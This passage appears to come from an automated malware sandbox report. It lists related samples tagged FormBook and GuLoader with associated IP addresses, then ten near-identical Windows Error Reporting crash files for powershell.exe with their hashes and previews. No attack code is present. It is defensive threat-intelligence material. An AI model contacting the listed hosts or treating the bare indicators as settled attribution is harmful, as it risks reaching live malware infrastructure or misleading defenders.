	Zahteva za ponudbo #U2013 Katalog vzorcev.vbs	Get hash	malicious	FormBook, GuLoader	Browse	95.111.243.74
	AIDHL3290435890.exe	Get hash	malicious	FormBook	Browse	161.97.168.245

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\Critical_powershell.exe_b4b21b9272f0623778607a435112f88140f556cc_00000000_06aa6660-5866-4c52-bf3f-216c35e81dae\Report.wer

Process:	C:\Windows\System32\wermgr.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.5337181207134615
Encrypted:	false
SSDEEP:	96:T8Fuj6rxYidyRH3Uje0eD/JuNnN9KQXIGZAX/d5FMT2SlPkpXmTAcf/VXT5NHBjV:g26mGyR30wAAzuiFaZ24lO8
MD5:	3EEB7318296ACA782195E819189A57A9
SHA1:	76D352655AC6842C92806E6EDCDE08D3D056D47D
SHA-256:	3397338ACB67FD01D5A79968C7FA36CD3E24EA8C162D51911D9EC3A19CF5E24A
SHA-512:	0233D7349276719C56B9917D3FA1FAA4DEEE5E7804BB3B253D4257B72E47B2A3FA5F3A29CBE3F4A6CA73C6019708CC6400B621FABBCC01EB7ACEEFE5C8C5AA7A
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.P.o.w.e.r.S.h.e.l.l.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.9.4.2.3.4.8.3.9.6.4.1.4.2.0.....R.e.p.o.r.t.T.y.p.e.=.1.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.9.4.2.3.2.6.2.9.3.1.9.7.5.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.6.a.a.6.6.6.0.-.5.8.6.6.-.4.c.5.2.-.b.f.3.f.-.2.1.6.c.3.5.e.8.1.d.a.e.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.P.o.w.e.r.S.h.e.l.l...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.a.7.c.-.0.0.0.1.-.0.0.1.5.-.1.8.9.d.-.7.0.3.8.3.2.f.a.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.f.4.3.d.9.b.b.3.1.6.e.3.0.a.e.1.a.3.4.9.4.a.c.5.b.0.6.2.4.f.6.b.e.a.1.b.f.0.5.4.!.p.o.w.e.r.s.h.e.l.l...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.3.7././.0.6././.1.0.:.0.7.:.4.5.:.2.5.!.7.d.6.d.a.!.p.o.w.e.r.s.h.e.l.l...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.7.2.9.5.....T.a.r.g.e.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\Critical_powershell.exe_b4b21b9272f0623778607a435112f88140f556cc_00000000_1875bc6f-2351-4caa-af07-ddd8ff64dfac\Report.wer

Process:	C:\Windows\System32\wermgr.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.5341053802417658
Encrypted:	false
SSDEEP:	96:o8FAjZrxYidNRH3Uje0eD/JuNnN9KQXIGZAX/d5FMT2SlPkpXmTA4f/VXT5NHBjV:p0ZmGNR30wAAzuiFuZ24lO8
MD5:	6ABE9DD4648083DB8D12D38392412A53
SHA1:	4BEA2A8BC08A493CC4E3D9C73EC0C73FBDC0A550
SHA-256:	85CD5B67884D9761F5626D9ED2DC05188EE21D176746DF81A25A7362CE1861DC
SHA-512:	AC1C00910AEB593D60E061617E10029833B0539EC4A2E01943AC66908BBEC252DBDB38E9EB4446C7A7194368161F4C3F201FB4B9430F017C5DDB7E7390E0EF50
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.P.o.w.e.r.S.h.e.l.l.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.9.4.2.3.2.3.2.7.9.2.7.8.9.9.....R.e.p.o.r.t.T.y.p.e.=.1.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.9.4.2.3.0.2.8.7.6.3.0.6.0.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.8.7.5.b.c.6.f.-.2.3.5.1.-.4.c.a.a.-.a.f.0.7.-.d.d.d.8.f.f.6.4.d.f.a.c.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.P.o.w.e.r.S.h.e.l.l...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.7.4.8.-.0.0.0.1.-.0.0.1.5.-.f.2.3.e.-.e.3.a.c.3.1.f.a.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.f.4.3.d.9.b.b.3.1.6.e.3.0.a.e.1.a.3.4.9.4.a.c.5.b.0.6.2.4.f.6.b.e.a.1.b.f.0.5.4.!.p.o.w.e.r.s.h.e.l.l...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.3.7././.0.6././.1.0.:.0.7.:.4.5.:.2.5.!.7.d.6.d.a.!.p.o.w.e.r.s.h.e.l.l...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.7.2.9.5.....T.a.r.g.e.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\Critical_powershell.exe_b4b21b9272f0623778607a435112f88140f556cc_00000000_1ad3a57e-4e53-4856-86c7-07816daa8d4b\Report.wer

Process:	C:\Windows\System32\wermgr.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.5341921391902096
Encrypted:	false
SSDEEP:	96:WDFbjKrxYid6cRH3Uje0eD/JuNnN9KQXIGZAX/d5FMT2SlPkpXmTA4f/VXT5NHBx:IFKmG6cR30wAAzuiFuZ24lO8
MD5:	BBB9ED0D70371C093C7FED2C602E41C9
SHA1:	C7D630463E7FEAA13DC676FC18F706F621714814
SHA-256:	940CFEA47767D5C2EED16D64B136CFAE19E38BC5EC318D4DD017C11737C4572B
SHA-512:	89635E2CAA618E8AD78E2FA937CF51093EDD74640182DD6AE89CC555F4FE2089596B8FA090773D094EFD95242EA6D889E5E5D4F1CF42DE7E3FB085797F0BC3FA
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.P.o.w.e.r.S.h.e.l.l.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.9.4.2.3.2.7.8.3.3.2.8.3.8.2.....R.e.p.o.r.t.T.y.p.e.=.1.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.9.4.2.3.1.0.3.8.6.7.8.4.7.2.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.a.d.3.a.5.7.e.-.4.e.5.3.-.4.8.5.6.-.8.6.c.7.-.0.7.8.1.6.d.a.a.8.d.4.b.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.P.o.w.e.r.S.h.e.l.l...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.e.c.4.-.0.0.0.1.-.0.0.1.5.-.b.c.9.6.-.5.8.d.b.3.1.f.a.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.f.4.3.d.9.b.b.3.1.6.e.3.0.a.e.1.a.3.4.9.4.a.c.5.b.0.6.2.4.f.6.b.e.a.1.b.f.0.5.4.!.p.o.w.e.r.s.h.e.l.l...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.3.7././.0.6././.1.0.:.0.7.:.4.5.:.2.5.!.7.d.6.d.a.!.p.o.w.e.r.s.h.e.l.l...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.7.2.9.5.....T.a.r.g.e.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\Critical_powershell.exe_b4b21b9272f0623778607a435112f88140f556cc_00000000_41c328ab-7460-4040-a823-a0f0b8c30a45\Report.wer

Process:	C:\Windows\System32\wermgr.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.5342735330167038
Encrypted:	false
SSDEEP:	96:MHFLbqjvhrxYidTRH3Uje0eD/JuNnN9KQXIGZAX/d5FMT2SlPkpXmTAuf/VXT5NH:qtEJmGTR30wAAzuiFkZ24lO8
MD5:	F39632EFB1B4563DF9EA293C137D34D4
SHA1:	E7704F3CDC42950012597EA21A06B031E7CD2313
SHA-256:	F22F1529FAD3E6FC971682221641F656D388C0EBCB65B1642AFD247731BF2837
SHA-512:	52DA1B80A70ABEE96509A2779C2FA9A974107A2E6862C58C8F707E739DED8ED04C2209F1EC9784A2AA1FF62FD95562DA2700DF732DE5C18D1D6B1C1FBEA8A282
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.P.o.w.e.r.S.h.e.l.l.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.9.4.2.3.3.8.2.5.0.3.3.2.3.9.....R.e.p.o.r.t.T.y.p.e.=.1.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.9.4.2.3.2.0.8.4.7.1.3.2.5.2.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.1.c.3.2.8.a.b.-.7.4.6.0.-.4.0.4.0.-.a.8.2.3.-.a.0.f.0.b.8.c.3.0.a.4.5.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.P.o.w.e.r.S.h.e.l.l...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.6.3.c.-.0.0.0.1.-.0.0.1.5.-.e.e.4.9.-.a.5.1.9.3.2.f.a.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.f.4.3.d.9.b.b.3.1.6.e.3.0.a.e.1.a.3.4.9.4.a.c.5.b.0.6.2.4.f.6.b.e.a.1.b.f.0.5.4.!.p.o.w.e.r.s.h.e.l.l...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.3.7././.0.6././.1.0.:.0.7.:.4.5.:.2.5.!.7.d.6.d.a.!.p.o.w.e.r.s.h.e.l.l...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.7.2.9.5.....T.a.r.g.e.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\Critical_powershell.exe_b4b21b9272f0623778607a435112f88140f556cc_00000000_5ac8cd7c-e124-47c2-a4d4-699b7dc06196\Report.wer

Process:	C:\Windows\System32\wermgr.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.5341820668909183
Encrypted:	false
SSDEEP:	96:1iU56MfFLj9rxYidgRH3Uje0eD/JuNnN9KQXIGZAX/d5FMT2SlPkpXmTA4f/VXTT:1719mGgR30wAAzuiFuZ24lO8
MD5:	176D7A0D5A9A28EB7E2E8D473D6B2878
SHA1:	3A4EFD36F97D1018C7036D2FF3083C08AD55268A
SHA-256:	B619551E25727CAE04075EF5023D956FE0C6FE76E6CDF45D74F15D0FE3E390A6
SHA-512:	C769ED41DADD497101448248265F6BE08762232AE30568E863208AEC477E743BB610A0BF8A388EBD14A9EA3ACB9F875446AD052B7EFF50A673102594433A7449
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.P.o.w.e.r.S.h.e.l.l.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.9.4.2.3.2.4.3.1.5.1.5.5.8.3.....R.e.p.o.r.t.T.y.p.e.=.1.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.9.4.2.3.0.5.3.0.8.1.4.0.5.2.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.a.c.8.c.d.7.c.-.e.1.2.4.-.4.7.c.2.-.a.4.d.4.-.6.9.9.b.7.d.c.0.6.1.9.6.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.P.o.w.e.r.S.h.e.l.l...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.4.9.0.-.0.0.0.1.-.0.0.1.5.-.e.6.8.f.-.1.a.b.c.3.1.f.a.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.f.4.3.d.9.b.b.3.1.6.e.3.0.a.e.1.a.3.4.9.4.a.c.5.b.0.6.2.4.f.6.b.e.a.1.b.f.0.5.4.!.p.o.w.e.r.s.h.e.l.l...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.3.7././.0.6././.1.0.:.0.7.:.4.5.:.2.5.!.7.d.6.d.a.!.p.o.w.e.r.s.h.e.l.l...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.7.2.9.5.....T.a.r.g.e.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\Critical_powershell.exe_b4b21b9272f0623778607a435112f88140f556cc_00000000_8ad5e66d-79a3-4c96-9658-b402b8edb290\Report.wer

Process:	C:\Windows\System32\wermgr.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.5344421700521039
Encrypted:	false
SSDEEP:	96:Q0FHjvXrxYidQRH3Uje0eD/JuNnN9KQXIGZAX/d5FMT2SlPkpXmTAnnf/VXT5NHn:pRPmGQR30wAAzuiF/Z24lO8
MD5:	06F5892EC0273DD98AFE7402782D4CE5
SHA1:	E526021D2C4F78AD7A6030F4F625F8A6C3B25482
SHA-256:	5F593B9F4164256BB4170C3FC89C06F550FB55DF14CAAAC6251E4833745AA98B
SHA-512:	E273C5B12E259EF9EA5A8FC55F8FA339D1EA61C4ED153F7383C7FDCC6111DB58DF050D0CDBA19EFF5101BBF57FB6C75176C45E460FDB952E620124CDF19CC84F
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.P.o.w.e.r.S.h.e.l.l.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.9.4.2.3.3.2.0.8.5.6.2.6.5.3.....R.e.p.o.r.t.T.y.p.e.=.1.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.9.4.2.3.1.3.0.6.0.7.7.5.8.6.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.a.d.5.e.6.6.d.-.7.9.a.3.-.4.c.9.6.-.9.6.5.8.-.b.4.0.2.b.8.e.d.b.2.9.0.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.P.o.w.e.r.S.h.e.l.l...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.4.8.8.-.0.0.0.1.-.0.0.1.5.-.a.3.0.5.-.c.7.e.a.3.1.f.a.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.f.4.3.d.9.b.b.3.1.6.e.3.0.a.e.1.a.3.4.9.4.a.c.5.b.0.6.2.4.f.6.b.e.a.1.b.f.0.5.4.!.p.o.w.e.r.s.h.e.l.l...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.3.7././.0.6././.1.0.:.0.7.:.4.5.:.2.5.!.7.d.6.d.a.!.p.o.w.e.r.s.h.e.l.l...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.7.2.9.5.....T.a.r.g.e.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\Critical_powershell.exe_b4b21b9272f0623778607a435112f88140f556cc_00000000_aa8d3bbe-ab8b-4e66-b348-b5e4a99848d3\Report.wer

Process:	C:\Windows\System32\wermgr.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.5345216928737276
Encrypted:	false
SSDEEP:	96:jLFlj8rxYid3RH3Uje0eD/JuNnN9KQXIGZAX/d5FMT2SlPkpXmTAVf/VXT5NHBjF:3L8mG3R30wAAzuiF1Z24lO8
MD5:	30E9E2F9F66C6FDB427A01377BD5B3ED
SHA1:	0CC3EF1A14EAC0F070E6255EB75343B30B435D5A
SHA-256:	22907CC06C94087F2C1BE8D54F62995F09CFEEC08B84EF6C28C731A799D207CB
SHA-512:	345057E57BCAE6BA033324B4AAEC3D7B31380F2CC7DE857665955E14D1173F8520987FFD147F42F4A84B9FAE6A281832CAB8FC002E44FDDEDC316A40D4D94A59
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.P.o.w.e.r.S.h.e.l.l.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.9.4.2.3.4.3.2.7.2.3.5.2.7.0.....R.e.p.o.r.t.T.y.p.e.=.1.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.9.4.2.3.2.3.4.4.8.8.3.8.6.6.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.a.8.d.3.b.b.e.-.a.b.8.b.-.4.e.6.6.-.b.3.4.8.-.b.5.e.4.a.9.9.8.4.8.d.3.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.P.o.w.e.r.S.h.e.l.l...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.1.2.8.-.0.0.0.1.-.0.0.1.5.-.e.4.b.b.-.f.5.2.8.3.2.f.a.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.f.4.3.d.9.b.b.3.1.6.e.3.0.a.e.1.a.3.4.9.4.a.c.5.b.0.6.2.4.f.6.b.e.a.1.b.f.0.5.4.!.p.o.w.e.r.s.h.e.l.l...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.3.7././.0.6././.1.0.:.0.7.:.4.5.:.2.5.!.7.d.6.d.a.!.p.o.w.e.r.s.h.e.l.l...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.7.2.9.5.....T.a.r.g.e.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\Critical_powershell.exe_b4b21b9272f0623778607a435112f88140f556cc_00000000_b738a297-2c33-445b-a6af-ab3f12057130\Report.wer

Process:	C:\Windows\System32\wermgr.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.5341125350532921
Encrypted:	false
SSDEEP:	96:lBUFaLjbZYrxYidoRH3Uje0eD/JuNnN9KQXIGZAX/d5FMT2SlPkpXmTAnnf/VXTT:ww3bZYmGoR30wAAzuiF/Z24lO8
MD5:	A9E13301D7BCDA49D46756FD828318C9
SHA1:	D696034194ABC0325BC0A876F0EBC4266BFA5724
SHA-256:	D27284139C229A0D27BF0569258FB064E3CE44E61C2F36844C089A485FCEF571
SHA-512:	765ABCFA523FC67C28FCAB4F588B0A30DD53323FB76CF86F647E0AB7ACE2B8A7EE0F204D650C7DA7F5588C968CC974AF98ADAF90C8A25ABDF3636162649C375A
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.P.o.w.e.r.S.h.e.l.l.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.9.4.2.3.3.3.1.5.0.2.1.8.7.3.....R.e.p.o.r.t.T.y.p.e.=.1.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.9.4.2.3.1.8.2.5.3.6.5.8.1.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.7.3.8.a.2.9.7.-.2.c.3.3.-.4.4.5.b.-.a.6.a.f.-.a.b.3.f.1.2.0.5.7.1.3.0.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.P.o.w.e.r.S.h.e.l.l...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.7.b.4.-.0.0.0.1.-.0.0.1.5.-.e.c.6.b.-.3.d.0.a.3.2.f.a.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.f.4.3.d.9.b.b.3.1.6.e.3.0.a.e.1.a.3.4.9.4.a.c.5.b.0.6.2.4.f.6.b.e.a.1.b.f.0.5.4.!.p.o.w.e.r.s.h.e.l.l...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.3.7././.0.6././.1.0.:.0.7.:.4.5.:.2.5.!.7.d.6.d.a.!.p.o.w.e.r.s.h.e.l.l...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.7.2.9.5.....T.a.r.g.e.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\Critical_powershell.exe_b4b21b9272f0623778607a435112f88140f556cc_00000000_f30f9f23-2252-413a-815f-f103f029fbb2\Report.wer

Process:	C:\Windows\System32\wermgr.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.534338510360049
Encrypted:	false
SSDEEP:	96:kjFKUcjWrxYid64RH3Uje0eD/JuNnN9KQXIGZAX/d5FMT2SlPkpXmTAnnf/VXT5t:edOWmG64R30wAAzuiF/Z24lO8
MD5:	80AB6275CA20B9827A0944C76C4BD071
SHA1:	8B0C9C2C2C7263A5598756C032F99D665485B92A
SHA-256:	E2C3BF1F0BF4073ADF205DBF0DED9E693BB27D774F9CA996CBBB3F3E94D0B578
SHA-512:	AB98A9FA6F91BE7699EC2FE78FC7F75ED1F4A3A71E8EF92675764D2E6C9276431F6BC4C8B89EEFE101B441ADD1D510FBD2754C0281CCD20BEF46B878E56F94EE
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.P.o.w.e.r.S.h.e.l.l.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.9.4.2.3.2.8.7.7.3.0.7.7.5.8.....R.e.p.o.r.t.T.y.p.e.=.1.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.9.4.2.3.0.7.7.9.0.9.0.4.6.0.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.3.0.f.9.f.2.3.-.2.2.5.2.-.4.1.3.a.-.8.1.5.f.-.f.1.0.3.f.0.2.9.f.b.b.2.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.P.o.w.e.r.S.h.e.l.l...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.8.0.8.-.0.0.0.1.-.0.0.1.5.-.5.f.8.8.-.7.6.c.b.3.1.f.a.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.f.4.3.d.9.b.b.3.1.6.e.3.0.a.e.1.a.3.4.9.4.a.c.5.b.0.6.2.4.f.6.b.e.a.1.b.f.0.5.4.!.p.o.w.e.r.s.h.e.l.l...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.3.7././.0.6././.1.0.:.0.7.:.4.5.:.2.5.!.7.d.6.d.a.!.p.o.w.e.r.s.h.e.l.l...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.7.2.9.5.....T.a.r.g.e.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\Critical_powershell.exe_b4b21b9272f0623778607a435112f88140f556cc_00000000_fa71f64c-a402-424a-83dc-6695f6c834b8\Report.wer

Process:	C:\Windows\System32\wermgr.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.5343251723085193
Encrypted:	false
SSDEEP:	96:QyuFKjxrxYid0RH3Uje0eD/JuNnN9KQXIGZAX/d5FMT2SlPkpXmTAuf/VXT5NHBx:VuCxmG0R30wAAzuiFkZ24lO8
MD5:	AFA06067A61514B6617F6C6761025753
SHA1:	BEE1A90DCDDA05BC058FF4F3E5E91F6EC2B1FAFF
SHA-256:	927001C7484FA892AD223CA5D675DF391766969575A82B2CBBC1007877C93300
SHA-512:	5B82CBDEBA70626D5972A385C67B636372AE49703FF8532E7DA9366F21DE39CCC5A8F25CB668248323900E57DDB4DA16F1C8D614000298C79AC9C47A26E5BC64
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.P.o.w.e.r.S.h.e.l.l.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.9.4.2.3.3.3.8.7.6.8.6.7.9.9.....R.e.p.o.r.t.T.y.p.e.=.1.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.9.4.2.3.1.5.6.5.5.9.5.5.1.6.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.a.7.1.f.6.4.c.-.a.4.0.2.-.4.2.4.a.-.8.3.d.c.-.6.6.9.5.f.6.c.8.3.4.b.8.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.P.o.w.e.r.S.h.e.l.l...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.4.f.8.-.0.0.0.1.-.0.0.1.5.-.4.1.c.a.-.4.c.f.a.3.1.f.a.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.f.4.3.d.9.b.b.3.1.6.e.3.0.a.e.1.a.3.4.9.4.a.c.5.b.0.6.2.4.f.6.b.e.a.1.b.f.0.5.4.!.p.o.w.e.r.s.h.e.l.l...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.3.7././.0.6././.1.0.:.0.7.:.4.5.:.2.5.!.7.d.6.d.a.!.p.o.w.e.r.s.h.e.l.l...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.7.2.9.5.....T.a.r.g.e.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER15D6.tmp.WERInternalMetadata.xml

Process:	C:\Windows\System32\wermgr.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	7418
Entropy (8bit):	3.6816464612013085
Encrypted:	false
